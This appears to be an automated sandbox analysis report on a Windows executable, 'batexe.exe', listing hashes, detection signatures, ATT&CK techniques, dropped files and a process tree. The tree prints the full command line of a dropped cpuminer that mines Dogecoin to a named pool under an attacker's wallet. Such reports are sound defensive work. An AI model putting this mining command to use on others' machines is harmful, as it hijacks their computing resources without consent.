73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 07:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4428	b2e.exe
1396	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1396	cpuminer-sse2.exe
1396	cpuminer-sse2.exe
1396	cpuminer-sse2.exe
1396	cpuminer-sse2.exe
1396	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4700-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 4428	4700	batexe.exe	75
PID 4700 wrote to memory of 4428	4700	batexe.exe	75
PID 4700 wrote to memory of 4428	4700	batexe.exe	75
PID 4428 wrote to memory of 3076	4428	b2e.exe	76
PID 4428 wrote to memory of 3076	4428	b2e.exe	76
PID 4428 wrote to memory of 3076	4428	b2e.exe	76
PID 3076 wrote to memory of 1396	3076	cmd.exe	79
PID 3076 wrote to memory of 1396	3076	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95B8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe

Filesize
4.2MB

MD5
a2ed949b75923c51b782d7b81dcdf802

SHA1
dc9d85cdec1995721a08b9fc2e563be91eb971dd

SHA256
851a8eff36d35c215f4df1c2555949fef3830e66afd0e9ea9f6170dd06a8fc15

SHA512
e8ce9ad51bb52877b1fda61b283cc369cef2cc3fe366f2db1bdf90b5efe4f7f179956a8459b0e471c16836c629390044830b29379b0228b5262c4f5b755de35c

Download Submit
C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe

Filesize
3.7MB

MD5
d32776b42aad5064a0599efdf3f6d967

SHA1
347d98f0c64d9cf7fab8c944f688624166eb95c4

SHA256
5e5b7a0308a04c6934f5332e6b0f3f8cd4e45093498281b22c80a7903ce2a21b

SHA512
65c54d5e81edf8ed1478484df309610efa81cd6e6977cc43d03d8b36c24aa3aa6bf3b3f7256facd8b62a8729328b1c9c4706a678aac16d98a38c8ef0dc8a12d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\95B8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
979KB

MD5
8a53f4610ba8ae77d01912ac6464c6e8

SHA1
dfd753d2b486b54e63bb70fb9a658ddb548cb3b2

SHA256
c8baf5196cae4c0715c2bd7a7867420e4bf15b9fdeab35243d97a1ffe7422f36

SHA512
d0829af15359dcb4d7173ccec71e6a10d9bac9811073ad160dbf8c399aa31f281b92648cd032b50fa3b4a710f0c6f9b4190744d9589dcb6f6cf4e6bbaf499f97

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
d2538679953dab645cfd01cfc9be9d47

SHA1
44b1e29e5c19f96c8f3bb6f21ac4d7278c211269

SHA256
5dbc9c0232a929d79117e5671b0f900b4ba5e5c415781311efa7a2faea167e85

SHA512
abc5040fa8f84397e060fb64b4def5067cfd382b4aa9e9503e2f792cd6c21ade1b92105e7c4df2f1b0bc449e844e0737f6312a2cd09c6c8481a727a53303919a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
600a4017478648ae6b90ad361c3fd64f

SHA1
d0858022e5df63f97244e7811059ade423d5583c

SHA256
ef115d948b4cbfb3cfa820dd65efa8292e09f5d17ac2da59661e64141107ae22

SHA512
f5eed60bed7786d31583d923a0dbe8e26a88e7a4c0874fc9ae7f6043fcb98dd419b7369c652cf3e50379a1763df4aba5646d0b6eae5b76bcebe2d3da4800aef9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
810KB

MD5
8be6401ba03b0cb78e5213296babe05f

SHA1
dec3fc48398b2a6d42f7c0896850112c2403a00f

SHA256
3057bf29b74aa28bfe3fde202317a362e1de767c842e161a2f21fa9fa2e101fb

SHA512
8cb6c04e2cee0b588e7e8ee5cb7c63ed889c680cf91288bbd2d9ab6bc54ff74406ab43cbcf3fa34c29669f5272ed55be0dfe2e2565d7422ed90819662d555727

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
dfafb42431926ae514bf248e1027d919

SHA1
362a51eae375c568536c4da04378ae7083dcf78c

SHA256
cafe7f030ec6bae2c2fe81ec436a4377d3284de9d1227dd1f55b28197027c25c

SHA512
a77fa849fe059e741e625b197252f7db612f97549d176a03df9768f25b28b8f926ada730e2e28f57f3967053a424c4a8a7ca36800c76aff0663aa144516da4e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
f31c7033a96094a50c7fe1a8c723c8da

SHA1
09cf2f8ba606efd7530c76d87241a32af8e89b05

SHA256
f8fc9648e47608d067c76dd1104c48ebcf69f983d2514ae7048ca9f484d0638d

SHA512
7afcb4edf7faac400ee4f683112f2fba6711b266b669f07ef1c5199cb56a293c4e3f05eb9ba96331e0452b9d07642503232e25603c0135cd95d2e46840f31794

Download Submit
memory/1396-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1396-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1396-42-0x0000000074790000-0x0000000074828000-memory.dmp

Filesize
608KB

Download
memory/1396-44-0x0000000000ED0000-0x0000000002785000-memory.dmp

Filesize
24.7MB

Download
memory/1396-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1396-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4428-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4428-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4700-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download